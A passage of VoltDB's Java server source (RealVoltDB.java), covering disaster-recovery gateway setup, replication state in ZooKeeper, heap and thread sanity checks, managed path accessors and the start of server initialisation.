} catch (Exception ex) {
CoreUtils.printPortsInUse(hostLog);
VoltDB.crashLocalVoltDB("Failed to initialize DR", false, ex);
}
}
private boolean createDRConsumerIfNeeded() {
if (!m_config.m_isEnterprise
|| (m_consumerDRGateway != null)
|| !m_catalogContext.cluster.getDrconsumerenabled()) {
if (!m_config.m_isEnterprise || !m_catalogContext.cluster.getDrconsumerenabled()) {
// This is called multiple times but the new value will be ignored if a StatSource has been assigned
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERNODE, 0,
new DRConsumerStatsBase.DRConsumerNodeStatsBase());
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERPARTITION, 0,
new DRConsumerStatsBase.DRConsumerPartitionStatsBase());
}
return false;
}
if (m_config.m_replicationRole == ReplicationRole.REPLICA ||
m_catalogContext.database.getIsactiveactivedred()) {
String drProducerHost = m_catalogContext.cluster.getDrmasterhost();
byte drConsumerClusterId = (byte)m_catalogContext.cluster.getDrclusterid();
if (m_catalogContext.cluster.getDrconsumerenabled() &&
(drProducerHost == null || drProducerHost.isEmpty())) {
VoltDB.crashLocalVoltDB("Cannot start as DR consumer without an enabled DR data connection.");
}
try {
getStatsAgent().deregisterStatsSourcesFor(StatsSelector.DRCONSUMERNODE, 0);
getStatsAgent().deregisterStatsSourcesFor(StatsSelector.DRCONSUMERPARTITION, 0);
Class<?> rdrgwClass = Class.forName("org.voltdb.dr2.ConsumerDRGatewayImpl");
Constructor<?> rdrgwConstructor = rdrgwClass.getConstructor(
String.class,
ClientInterface.class,
Cartographer.class,
HostMessenger.class,
byte.class);
m_consumerDRGateway = (ConsumerDRGateway) rdrgwConstructor.newInstance(
drProducerHost,
m_clientInterface,
m_cartographer,
m_messenger,
drConsumerClusterId);
m_globalServiceElector.registerService(m_consumerDRGateway);
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to load DR system", true, e);
}
return true;
}
else {
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERNODE, 0,
new DRConsumerStatsBase.DRConsumerNodeStatsBase());
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERPARTITION, 0,
new DRConsumerStatsBase.DRConsumerPartitionStatsBase());
}
return false;
}
// Thread safe
@Override
public void setReplicationActive(boolean active)
{
if (m_replicationActive.compareAndSet(!active, active)) {
try {
JSONStringer js = new JSONStringer();
js.object();
// Replication role should the be same across the cluster
js.key("role").value(getReplicationRole().ordinal());
js.key("active").value(m_replicationActive.get());
js.endObject();
getHostMessenger().getZK().setData(VoltZK.replicationconfig,
js.toString().getBytes("UTF-8"),
-1);
} catch (Exception e) {
e.printStackTrace();
hostLog.error("Failed to write replication active state to ZK: " +
e.getMessage());
}
if (m_producerDRGateway != null) {
m_producerDRGateway.setActive(active);
}
}
}
@Override
public boolean getReplicationActive()
{
return m_replicationActive.get();
}
@Override
public ProducerDRGateway getNodeDRGateway()
{
return m_producerDRGateway;
}
@Override
public ConsumerDRGateway getConsumerDRGateway() {
return m_consumerDRGateway;
}
@Override
public void onSyncSnapshotCompletion() {
m_leaderAppointer.onSyncSnapshotCompletion();
}
@Override
public void setDurabilityUniqueIdListener(Integer partition, DurableUniqueIdListener listener) {
if (partition == MpInitiator.MP_INIT_PID) {
m_iv2Initiators.get(m_iv2Initiators.firstKey()).setDurableUniqueIdListener(listener);
}
else {
Initiator init = m_iv2Initiators.get(partition);
assert init != null;
init.setDurableUniqueIdListener(listener);
}
}
public ExecutionEngine debugGetSpiedEE(int partitionId) {
if (m_config.m_backend == BackendTarget.NATIVE_EE_SPY_JNI) {
BaseInitiator init = (BaseInitiator)m_iv2Initiators.get(partitionId);
return init.debugGetSpiedEE();
}
else {
return null;
}
}
@Override
public SiteTracker getSiteTrackerForSnapshot()
{
return new SiteTracker(m_messenger.getHostId(), m_cartographer.getSiteTrackerMailboxMap(), 0);
}
/**
* Create default deployment.xml file in voltdbroot if the deployment path is null.
*
* @return path to default deployment file
* @throws IOException
*/
static String setupDefaultDeployment(VoltLogger logger) throws IOException {
return setupDefaultDeployment(logger, CatalogUtil.getVoltDbRoot(null));
}
/**
* Create default deployment.xml file in voltdbroot if the deployment path is null.
*
* @return pathto default deployment file
* @throws IOException
*/
static String setupDefaultDeployment(VoltLogger logger, File voltdbroot) throws IOException {
File configInfoDir = new VoltFile(voltdbroot, VoltDB.CONFIG_DIR);
configInfoDir.mkdirs();
File depFH = new VoltFile(configInfoDir, "deployment.xml");
if (!depFH.exists()) {
logger.info("Generating default deployment file \"" + depFH.getAbsolutePath() + "\"");
try (BufferedWriter bw = new BufferedWriter(new FileWriter(depFH))) {
for (String line : defaultDeploymentXML) {
bw.write(line);
bw.newLine();
}
} finally {
}
}
return depFH.getAbsolutePath();
}
/*
* Validate the build string with the rest of the cluster
* by racing to publish it to ZK and then comparing the one this process
* has to the one in ZK. They should all match. The method returns a future
* so that init can continue while the ZK call is pending since it ZK is pretty
* slow.
*/
private Future<?> validateBuildString(final String buildString, ZooKeeper zk) {
final SettableFuture<Object> retval = SettableFuture.create();
byte buildStringBytes[] = null;
try {
buildStringBytes = buildString.getBytes("UTF-8");
} catch (UnsupportedEncodingException e) {
throw new AssertionError(e);
}
final byte buildStringBytesFinal[] = buildStringBytes;
//Can use a void callback because ZK will execute the create and then the get in order
//It's a race so it doesn't have to succeed
zk.create(
VoltZK.buildstring,
buildStringBytes,
Ids.OPEN_ACL_UNSAFE,
CreateMode.PERSISTENT,
new ZKUtil.StringCallback(),
null);
zk.getData(VoltZK.buildstring, false, new org.apache.zookeeper_voltpatches.AsyncCallback.DataCallback() {
@Override
public void processResult(int rc, String path, Object ctx,
byte[] data, Stat stat) {
KeeperException.Code code = KeeperException.Code.get(rc);
if (code == KeeperException.Code.OK) {
if (Arrays.equals(buildStringBytesFinal, data)) {
retval.set(null);
} else {
try {
hostLog.info("Different but compatible software versions on the cluster " +
"and the rejoining node. Cluster version is {" + (new String(data, "UTF-8")).split("_")[0] +
"}. Rejoining node version is {" + m_defaultVersionString + "}.");
retval.set(null);
} catch (UnsupportedEncodingException e) {
retval.setException(new AssertionError(e));
}
}
} else {
retval.setException(KeeperException.create(code));
}
}
}, null);
return retval;
}
/**
* See comment on {@link VoltDBInterface#schedulePriorityWork(Runnable, long, long, TimeUnit)} vs
* {@link VoltDBInterface#scheduleWork(Runnable, long, long, TimeUnit)}
*/
@Override
public ScheduledFuture<?> schedulePriorityWork(Runnable work,
long initialDelay,
long delay,
TimeUnit unit) {
if (delay > 0) {
return m_periodicPriorityWorkThread.scheduleWithFixedDelay(work,
initialDelay, delay,
unit);
} else {
return m_periodicPriorityWorkThread.schedule(work, initialDelay, unit);
}
}
private void checkHeapSanity(boolean isPro, int tableCount, int sitesPerHost, int kfactor)
{
long megabytes = 1024 * 1024;
long maxMemory = Runtime.getRuntime().maxMemory() / megabytes;
// DRv2 now is off heap
long crazyThresh = computeMinimumHeapRqt(isPro, tableCount, sitesPerHost, kfactor);
if (maxMemory < crazyThresh) {
StringBuilder builder = new StringBuilder();
builder.append(String.format("The configuration of %d tables, %d sites-per-host, and k-factor of %d requires at least %d MB of Java heap memory. ", tableCount, sitesPerHost, kfactor, crazyThresh));
builder.append(String.format("The maximum amount of heap memory available to the JVM is %d MB. ", maxMemory));
builder.append("Please increase the maximum heap size using the VOLTDB_HEAPMAX environment variable and then restart VoltDB.");
consoleLog.warn(builder.toString());
}
}
// Compute the minimum required heap to run this configuration. This comes from the documentation,
// http://voltdb.com/docs/PlanningGuide/MemSizeServers.php#MemSizeHeapGuidelines
// Any changes there should get reflected here and vice versa.
static public long computeMinimumHeapRqt(boolean isPro, int tableCount, int sitesPerHost, int kfactor)
{
long baseRqt = 384;
long tableRqt = 10 * tableCount;
// K-safety Heap consumption drop to 8 MB (per node)
// Snapshot cost 32 MB (per node)
// Theoretically, 40 MB (per node) should be enough
long rejoinRqt = (isPro && kfactor > 0) ? 128 * sitesPerHost : 0;
return baseRqt + tableRqt + rejoinRqt;
}
private void checkThreadsSanity() {
int tableCount = m_catalogContext.tables.size();
int partitions = m_iv2Initiators.size() - 1;
int replicates = m_configuredReplicationFactor;
int importPartitions = ImportManager.getPartitionsCount();
int exportTableCount = ExportManager.instance().getExportTablesCount();
int exportNonceCount = ExportManager.instance().getConnCount();
int expThreadsCount = computeThreadsCount(tableCount, partitions, replicates, importPartitions, exportTableCount, exportNonceCount);
// if the expected number of threads exceeds the limit, update the limit.
if (m_maxThreadsCount < expThreadsCount) {
updateMaxThreadsLimit();
}
// do insane check again.
if (m_maxThreadsCount < expThreadsCount) {
StringBuilder builder = new StringBuilder();
builder.append(String.format("The configuration of %d tables, %d partitions, %d replicates, ", tableCount, partitions, replicates));
builder.append(String.format("with importer configuration of %d importer partitions, ", importPartitions));
builder.append(String.format("with exporter configuration of %d export tables %d partitions %d replicates, ", exportTableCount, partitions, replicates));
builder.append(String.format("approximately requires %d threads.", expThreadsCount));
builder.append(String.format("The maximum number of threads to the system is %d. \n", m_maxThreadsCount));
builder.append("Please increase the maximum system threads number or reduce the number of threads in your program, and then restart VoltDB. \n");
consoleLog.warn(builder.toString());
}
}
private void updateMaxThreadsLimit() {
String[] command = {"bash", "-c" ,"ulimit -u"};
String cmd_rst = ShellTools.local_cmd(command);
try {
m_maxThreadsCount = Integer.parseInt(cmd_rst.substring(0, cmd_rst.length() - 1));
} catch(Exception e) {
m_maxThreadsCount = Integer.MAX_VALUE;
}
}
private int computeThreadsCount(int tableCount, int partitionCount, int replicateCount, int importerPartitionCount, int exportTableCount, int exportNonceCount) {
final int clusterBaseCount = 5;
final int hostBaseCount = 56;
return clusterBaseCount + (hostBaseCount + partitionCount)
+ computeImporterThreads(importerPartitionCount)
+ computeExporterThreads(exportTableCount, partitionCount, replicateCount, exportNonceCount);
}
private int computeImporterThreads(int importerPartitionCount) {
if (importerPartitionCount == 0) {
return 0;
}
int importerBaseCount = 6;
return importerBaseCount + importerPartitionCount;
}
private int computeExporterThreads(int exportTableCount, int partitionCount, int replicateCount, int exportNonceCount) {
if (exportTableCount == 0) {
return 0;
}
int exporterBaseCount = 1;
return exporterBaseCount + partitionCount * exportTableCount + exportNonceCount;
}
@Override
public <T> ListenableFuture<T> submitSnapshotIOWork(Callable<T> work)
{
assert m_snapshotIOAgent != null;
return m_snapshotIOAgent.submit(work);
}
@Override
public long getClusterUptime()
{
return System.currentTimeMillis() - getHostMessenger().getInstanceId().getTimestamp();
}
@Override
public long getClusterCreateTime()
{
return m_clusterCreateTime;
}
@Override
public void setClusterCreateTime(long clusterCreateTime) {
m_clusterCreateTime = clusterCreateTime;
hostLog.info("The internal DR cluster timestamp being restored from a snapshot is " +
new Date(m_clusterCreateTime).toString() + ".");
}
}
| src/frontend/org/voltdb/RealVoltDB.java | /* This file is part of VoltDB.
* Copyright (C) 2008-2016 VoltDB Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with VoltDB. If not, see <http://www.gnu.org/licenses/>.
*/
package org.voltdb;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.Inet4Address;
import java.net.Inet6Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Random;
import java.util.Set;
import java.util.SortedMap;
import java.util.TreeMap;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.Future;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.ScheduledThreadPoolExecutor;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
import org.apache.cassandra_voltpatches.GCInspector;
import org.apache.log4j.Appender;
import org.apache.log4j.DailyRollingFileAppender;
import org.apache.log4j.FileAppender;
import org.apache.log4j.Logger;
import org.apache.zookeeper_voltpatches.CreateMode;
import org.apache.zookeeper_voltpatches.KeeperException;
import org.apache.zookeeper_voltpatches.WatchedEvent;
import org.apache.zookeeper_voltpatches.Watcher;
import org.apache.zookeeper_voltpatches.ZooDefs.Ids;
import org.apache.zookeeper_voltpatches.ZooKeeper;
import org.apache.zookeeper_voltpatches.data.Stat;
import org.json_voltpatches.JSONException;
import org.json_voltpatches.JSONObject;
import org.json_voltpatches.JSONStringer;
import org.voltcore.logging.Level;
import org.voltcore.logging.VoltLogger;
import org.voltcore.messaging.HostMessenger;
import org.voltcore.messaging.SiteMailbox;
import org.voltcore.utils.CoreUtils;
import org.voltcore.utils.OnDemandBinaryLogger;
import org.voltcore.utils.Pair;
import org.voltcore.utils.ShutdownHooks;
import org.voltcore.utils.VersionChecker;
import org.voltcore.zk.CoreZK;
import org.voltcore.zk.ZKCountdownLatch;
import org.voltcore.zk.ZKUtil;
import org.voltdb.TheHashinator.HashinatorType;
import org.voltdb.VoltDB.Configuration;
import org.voltdb.catalog.Catalog;
import org.voltdb.catalog.Cluster;
import org.voltdb.catalog.Database;
import org.voltdb.catalog.Deployment;
import org.voltdb.catalog.SnapshotSchedule;
import org.voltdb.catalog.Systemsettings;
import org.voltdb.common.NodeState;
import org.voltdb.compiler.AdHocCompilerCache;
import org.voltdb.compiler.AsyncCompilerAgent;
import org.voltdb.compiler.ClusterConfig;
import org.voltdb.compiler.deploymentfile.ClusterType;
import org.voltdb.compiler.deploymentfile.ConsistencyType;
import org.voltdb.compiler.deploymentfile.DeploymentType;
import org.voltdb.compiler.deploymentfile.HeartbeatType;
import org.voltdb.compiler.deploymentfile.PartitionDetectionType;
import org.voltdb.compiler.deploymentfile.PathsType;
import org.voltdb.compiler.deploymentfile.SystemSettingsType;
import org.voltdb.dtxn.InitiatorStats;
import org.voltdb.dtxn.LatencyHistogramStats;
import org.voltdb.dtxn.LatencyStats;
import org.voltdb.dtxn.SiteTracker;
import org.voltdb.export.ExportManager;
import org.voltdb.importer.ImportManager;
import org.voltdb.iv2.BaseInitiator;
import org.voltdb.iv2.Cartographer;
import org.voltdb.iv2.Initiator;
import org.voltdb.iv2.KSafetyStats;
import org.voltdb.iv2.LeaderAppointer;
import org.voltdb.iv2.MpInitiator;
import org.voltdb.iv2.SpInitiator;
import org.voltdb.iv2.SpScheduler.DurableUniqueIdListener;
import org.voltdb.iv2.TxnEgo;
import org.voltdb.jni.ExecutionEngine;
import org.voltdb.join.BalancePartitionsStatistics;
import org.voltdb.join.ElasticJoinService;
import org.voltdb.licensetool.LicenseApi;
import org.voltdb.messaging.VoltDbMessageFactory;
import org.voltdb.planner.ActivePlanRepository;
import org.voltdb.probe.MeshProber;
import org.voltdb.processtools.ShellTools;
import org.voltdb.rejoin.Iv2RejoinCoordinator;
import org.voltdb.rejoin.JoinCoordinator;
import org.voltdb.settings.ClusterSettings;
import org.voltdb.settings.ClusterSettingsRef;
import org.voltdb.settings.PathSettings;
import org.voltdb.settings.Settings;
import org.voltdb.settings.SettingsException;
import org.voltdb.utils.CLibrary;
import org.voltdb.utils.CatalogUtil;
import org.voltdb.utils.CatalogUtil.CatalogAndIds;
import org.voltdb.utils.Encoder;
import org.voltdb.utils.HTTPAdminListener;
import org.voltdb.utils.LogKeys;
import org.voltdb.utils.MiscUtils;
import org.voltdb.utils.PlatformProperties;
import org.voltdb.utils.SystemStatsCollector;
import org.voltdb.utils.VoltFile;
import org.voltdb.utils.VoltSampler;
import com.google_voltpatches.common.base.Charsets;
import com.google_voltpatches.common.base.Joiner;
import com.google_voltpatches.common.base.Preconditions;
import com.google_voltpatches.common.base.Supplier;
import com.google_voltpatches.common.base.Throwables;
import com.google_voltpatches.common.collect.ImmutableList;
import com.google_voltpatches.common.collect.ImmutableMap;
import com.google_voltpatches.common.net.HostAndPort;
import com.google_voltpatches.common.util.concurrent.ListenableFuture;
import com.google_voltpatches.common.util.concurrent.ListeningExecutorService;
import com.google_voltpatches.common.util.concurrent.SettableFuture;
/**
* RealVoltDB initializes global server components, like the messaging
* layer, ExecutionSite(s), and ClientInterface. It provides accessors
* or references to those global objects. It is basically the global
* namespace. A lot of the global namespace is described by VoltDBInterface
* to allow test mocking.
*/
public class RealVoltDB implements VoltDBInterface, RestoreAgent.Callback, HostMessenger.HostWatcher {
private static final boolean DISABLE_JMX = Boolean.valueOf(System.getProperty("DISABLE_JMX", "true"));
/** Default deployment file contents if path to deployment is null */
private static final String[] defaultDeploymentXML = {
"<?xml version=\"1.0\"?>",
"<!-- This file is an auto-generated default deployment configuration. -->",
"<deployment>",
" <cluster hostcount=\"1\" />",
" <httpd enabled=\"true\">",
" <jsonapi enabled=\"true\" />",
" </httpd>",
"</deployment>"
};
private final VoltLogger hostLog = new VoltLogger("HOST");
private final VoltLogger consoleLog = new VoltLogger("CONSOLE");
private VoltDB.Configuration m_config = new VoltDB.Configuration();
int m_configuredNumberOfPartitions;
int m_configuredReplicationFactor;
// CatalogContext is immutable, just make sure that accessors see a consistent version
volatile CatalogContext m_catalogContext;
// Managed voltdb directories settings
volatile private PathSettings m_paths;
// Cluster settings reference and supplier
final ClusterSettingsRef m_clusterSettings = new ClusterSettingsRef();
private String m_buildString;
static final String m_defaultVersionString = "6.7";
// by default set the version to only be compatible with itself
static final String m_defaultHotfixableRegexPattern = "^\\Q6.7\\E\\z";
// these next two are non-static because they can be overrriden on the CLI for test
private String m_versionString = m_defaultVersionString;
private String m_hotfixableRegexPattern = m_defaultHotfixableRegexPattern;
HostMessenger m_messenger = null;
private ClientInterface m_clientInterface = null;
HTTPAdminListener m_adminListener;
private OpsRegistrar m_opsRegistrar = new OpsRegistrar();
private AsyncCompilerAgent m_asyncCompilerAgent = null;
public AsyncCompilerAgent getAsyncCompilerAgent() { return m_asyncCompilerAgent; }
private PartitionCountStats m_partitionCountStats = null;
private IOStats m_ioStats = null;
private MemoryStats m_memoryStats = null;
private CpuStats m_cpuStats = null;
private CommandLogStats m_commandLogStats = null;
private StatsManager m_statsManager = null;
private SnapshotCompletionMonitor m_snapshotCompletionMonitor;
// These are unused locally, but they need to be registered with the StatsAgent so they're
// globally available
@SuppressWarnings("unused")
private InitiatorStats m_initiatorStats;
private LiveClientsStats m_liveClientsStats = null;
int m_myHostId;
String m_httpPortExtraLogMessage = null;
boolean m_jsonEnabled;
// IV2 things
TreeMap<Integer, Initiator> m_iv2Initiators = new TreeMap<>();
Cartographer m_cartographer = null;
LeaderAppointer m_leaderAppointer = null;
GlobalServiceElector m_globalServiceElector = null;
MpInitiator m_MPI = null;
Map<Integer, Long> m_iv2InitiatorStartingTxnIds = new HashMap<>();
private ScheduledFuture<?> resMonitorWork;
private NodeStateTracker m_statusTracker;
// Should the execution sites be started in recovery mode
// (used for joining a node to an existing cluster)
// If CL is enabled this will be set to true
// by the CL when the truncation snapshot completes
// and this node is viable for replay
volatile boolean m_rejoining = false;
// Need to separate the concepts of rejoin data transfer and rejoin
// completion. This boolean tracks whether or not the data transfer
// process is done. CL truncation snapshots will not flip the all-complete
// boolean until no mode data is pending.
// Yes, this is fragile having two booleans. We could aggregate them into
// some rejoining state enum at some point.
volatile boolean m_rejoinDataPending = false;
// Since m_rejoinDataPending is set asynchronously, sites could have inconsistent
// view of what the value is during the execution of a sysproc. Use this and
// m_safeMpTxnId to prevent the race. The m_safeMpTxnId is updated once in the
// lifetime of the node to reflect the first MP txn that witnessed the flip of
// m_rejoinDataPending.
private final Object m_safeMpTxnIdLock = new Object();
private long m_lastSeenMpTxnId = Long.MIN_VALUE;
private long m_safeMpTxnId = Long.MAX_VALUE;
String m_rejoinTruncationReqId = null;
// Are we adding the node to the cluster instead of rejoining?
volatile boolean m_joining = false;
private boolean m_shuttingdown = false;
long m_clusterCreateTime;
AtomicBoolean m_replicationActive = new AtomicBoolean(false);
private ProducerDRGateway m_producerDRGateway = null;
private ConsumerDRGateway m_consumerDRGateway = null;
//Only restrict recovery completion during test
static Semaphore m_testBlockRecoveryCompletion = new Semaphore(Integer.MAX_VALUE);
private long m_executionSiteRecoveryFinish;
private long m_executionSiteRecoveryTransferred;
// Rejoin coordinator
private JoinCoordinator m_joinCoordinator = null;
private ElasticJoinService m_elasticJoinService = null;
// Snapshot IO agent
private SnapshotIOAgent m_snapshotIOAgent = null;
// id of the leader, or the host restore planner says has the catalog
int m_hostIdWithStartupCatalog;
String m_pathToStartupCatalog;
// Synchronize initialize and shutdown
private final Object m_startAndStopLock = new Object();
// Synchronize updates of catalog contexts across the multiple sites on this host.
// Ensure that the first site to reach catalogUpdate() does all the work and that no
// others enter until that's finished. CatalogContext is immutable and volatile, accessors
// should be able to always get a valid context without needing this lock.
private final Object m_catalogUpdateLock = new Object();
// add a random number to the sampler output to make it likely to be unique for this process.
private final VoltSampler m_sampler = new VoltSampler(10, "sample" + String.valueOf(new Random().nextInt() % 10000) + ".txt");
private final AtomicBoolean m_hasStartedSampler = new AtomicBoolean(false);
List<Integer> m_partitionsToSitesAtStartupForExportInit;
RestoreAgent m_restoreAgent = null;
private final ListeningExecutorService m_es = CoreUtils.getCachedSingleThreadExecutor("StartAction ZK Watcher", 15000);
private volatile boolean m_isRunning = false;
private boolean m_isRunningWithOldVerb = true;
private boolean m_isBare = false;
private int m_maxThreadsCount;
@Override
public boolean isRunningWithOldVerbs() {
return m_isRunningWithOldVerb;
};
@Override
public boolean isShuttingdown() {
return m_shuttingdown;
}
@Override
public void setShuttingdown(boolean shuttingdown) {
m_shuttingdown = shuttingdown;
}
@Override
public boolean rejoining() {
return m_rejoining;
}
@Override
public boolean rejoinDataPending() {
return m_rejoinDataPending;
}
@Override
public boolean isMpSysprocSafeToExecute(long txnId)
{
synchronized (m_safeMpTxnIdLock) {
if (txnId >= m_safeMpTxnId) {
return true;
}
if (txnId > m_lastSeenMpTxnId) {
m_lastSeenMpTxnId = txnId;
if (!rejoinDataPending() && m_safeMpTxnId == Long.MAX_VALUE) {
m_safeMpTxnId = txnId;
}
}
return txnId >= m_safeMpTxnId;
}
}
private long m_recoveryStartTime;
CommandLog m_commandLog;
private volatile OperationMode m_mode = OperationMode.INITIALIZING;
private OperationMode m_startMode = null;
volatile String m_localMetadata = "";
private ListeningExecutorService m_computationService;
private Thread m_configLogger;
// methods accessed via the singleton
@Override
public void startSampler() {
if (m_hasStartedSampler.compareAndSet(false, true)) {
m_sampler.start();
}
}
private ScheduledThreadPoolExecutor m_periodicWorkThread;
private ScheduledThreadPoolExecutor m_periodicPriorityWorkThread;
// The configured license api: use to decide enterprise/community edition feature enablement
LicenseApi m_licenseApi;
String m_licenseInformation = "";
private LatencyStats m_latencyStats;
private LatencyHistogramStats m_latencyHistogramStats;
private File getConfigDirectory() {
return getConfigDirectory(m_config);
}
private File getConfigDirectory(Configuration config) {
return getConfigDirectory(config.m_voltdbRoot);
}
private File getConfigDirectory(File voltdbroot) {
return new VoltFile(voltdbroot, VoltDB.CONFIG_DIR);
}
private File getConfigLogDeployment() {
return getConfigLogDeployment(m_config);
}
private File getConfigLogDeployment(Configuration config) {
return new VoltFile(getConfigDirectory(config), "deployment.xml");
}
@Override
public LicenseApi getLicenseApi() {
return m_licenseApi;
}
@Override
public String getLicenseInformation() {
return m_licenseInformation;
}
@Override
public String getVoltDBRootPath(PathsType.Voltdbroot path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.getVoltDBRoot().getPath();
}
@Override
public String getCommandLogPath(PathsType.Commandlog path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getCommandLog()).getPath();
}
@Override
public String getCommandLogSnapshotPath(PathsType.Commandlogsnapshot path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getCommandLogSnapshot()).getPath();
}
@Override
public String getSnapshotPath(PathsType.Snapshots path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getSnapshoth()).getPath();
}
@Override
public String getExportOverflowPath(PathsType.Exportoverflow path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getExportOverflow()).getPath();
}
@Override
public String getDROverflowPath(PathsType.Droverflow path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getDROverflow()).getPath();
}
@Override
public String getVoltDBRootPath() {
return m_paths.getVoltDBRoot().getPath();
}
@Override
public String getCommandLogPath() {
return m_paths.resolve(m_paths.getCommandLog()).getPath();
}
@Override
public String getCommandLogSnapshotPath() {
return m_paths.resolve(m_paths.getCommandLogSnapshot()).getPath();
}
@Override
public String getSnapshotPath() {
return m_paths.resolve(m_paths.getSnapshoth()).getPath();
}
@Override
public String getExportOverflowPath() {
return m_paths.resolve(m_paths.getExportOverflow()).getPath();
}
@Override
public String getDROverflowPath() {
return m_paths.resolve(m_paths.getDROverflow()).getPath();
}
private String managedPathEmptyCheck(String voltDbRoot, String path) {
VoltFile managedPath;
if (new File(path).isAbsolute())
managedPath = new VoltFile(path);
else
managedPath = new VoltFile(voltDbRoot, path);
if (managedPath.exists() && managedPath.list().length > 0)
return managedPath.getAbsolutePath();
return null;
}
private void managedPathsEmptyCheck(Configuration config) {
List<String> nonEmptyPaths = managedPathsWithFiles(config, m_catalogContext.getDeployment());
if (!nonEmptyPaths.isEmpty()) {
StringBuilder crashMessage =
new StringBuilder("Files from a previous database session exist in the managed directories:");
for (String nonEmptyPath : nonEmptyPaths) {
crashMessage.append("\n - " + nonEmptyPath);
}
crashMessage.append("\nUse the recover command to restore the previous database or use create --force" +
" to start a new database session overwriting existing files.");
VoltDB.crashLocalVoltDB(crashMessage.toString());
}
}
private List<String> managedPathsWithFiles(Configuration config, DeploymentType deployment) {
ImmutableList.Builder<String> nonEmptyPaths = ImmutableList.builder();
if (!config.m_isEnterprise) {
return nonEmptyPaths.build();
}
PathsType paths = deployment.getPaths();
String voltDbRoot = getVoltDBRootPath(paths.getVoltdbroot());
String path;
if ((path = managedPathEmptyCheck(voltDbRoot, getSnapshotPath(paths.getSnapshots()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getExportOverflowPath(paths.getExportoverflow()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getDROverflowPath(paths.getDroverflow()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getCommandLogPath(paths.getCommandlog()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getCommandLogSnapshotPath(paths.getCommandlogsnapshot()))) != null)
nonEmptyPaths.add(path);
return nonEmptyPaths.build();
}
private final List<String> pathsWithRecoverableArtifacts(DeploymentType deployment) {
ImmutableList.Builder<String> nonEmptyPaths = ImmutableList.builder();
if (!MiscUtils.isPro()) {
return nonEmptyPaths.build();
}
PathsType paths = deployment.getPaths();
String voltDbRoot = getVoltDBRootPath(paths.getVoltdbroot());
String path;
if ((path = managedPathEmptyCheck(voltDbRoot, getSnapshotPath(paths.getSnapshots()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getCommandLogPath(paths.getCommandlog()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getCommandLogSnapshotPath(paths.getCommandlogsnapshot()))) != null)
nonEmptyPaths.add(path);
return nonEmptyPaths.build();
}
/**
* Initialize all the global components, then initialize all the m_sites.
* @param config configuration that gets passed in from commandline.
*/
@Override
public void initialize(Configuration config) {
ShutdownHooks.enableServerStopLogging();
synchronized(m_startAndStopLock) {
m_isRunningWithOldVerb = config.m_startAction.isLegacy();
// check that this is a 64 bit VM
if (System.getProperty("java.vm.name").contains("64") == false) {
hostLog.fatal("You are running on an unsupported (probably 32 bit) JVM. Exiting.");
System.exit(-1);
}
m_isRunningWithOldVerb = config.m_startAction.isLegacy();
readBuildInfo(config.m_isEnterprise ? "Enterprise Edition" : "Community Edition");
// Replay command line args that we can see
StringBuilder sb = new StringBuilder(2048).append("Command line arguments: ");
sb.append(System.getProperty("sun.java.command", "[not available]"));
hostLog.info(sb.toString());
List<String> iargs = ManagementFactory.getRuntimeMXBean().getInputArguments();
sb.delete(0, sb.length()).append("Command line JVM arguments:");
for (String iarg : iargs)
sb.append(" ").append(iarg);
if (iargs.size() > 0) hostLog.info(sb.toString());
else hostLog.info("No JVM command line args known.");
sb.delete(0, sb.length()).append("Command line JVM classpath: ");
sb.append(System.getProperty("java.class.path", "[not available]"));
hostLog.info(sb.toString());
// config UUID is part of the status tracker that is slated to be an
// Information source for an http admun endpoint
m_statusTracker = new NodeStateTracker();
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_StartupString.name(), null);
if (config.m_startAction == StartAction.INITIALIZE) {
if (config.m_forceVoltdbCreate) {
deleteInitializationMarkers(config);
}
}
// If there's no deployment provide a default and put it under voltdbroot.
if (config.m_pathToDeployment == null) {
try {
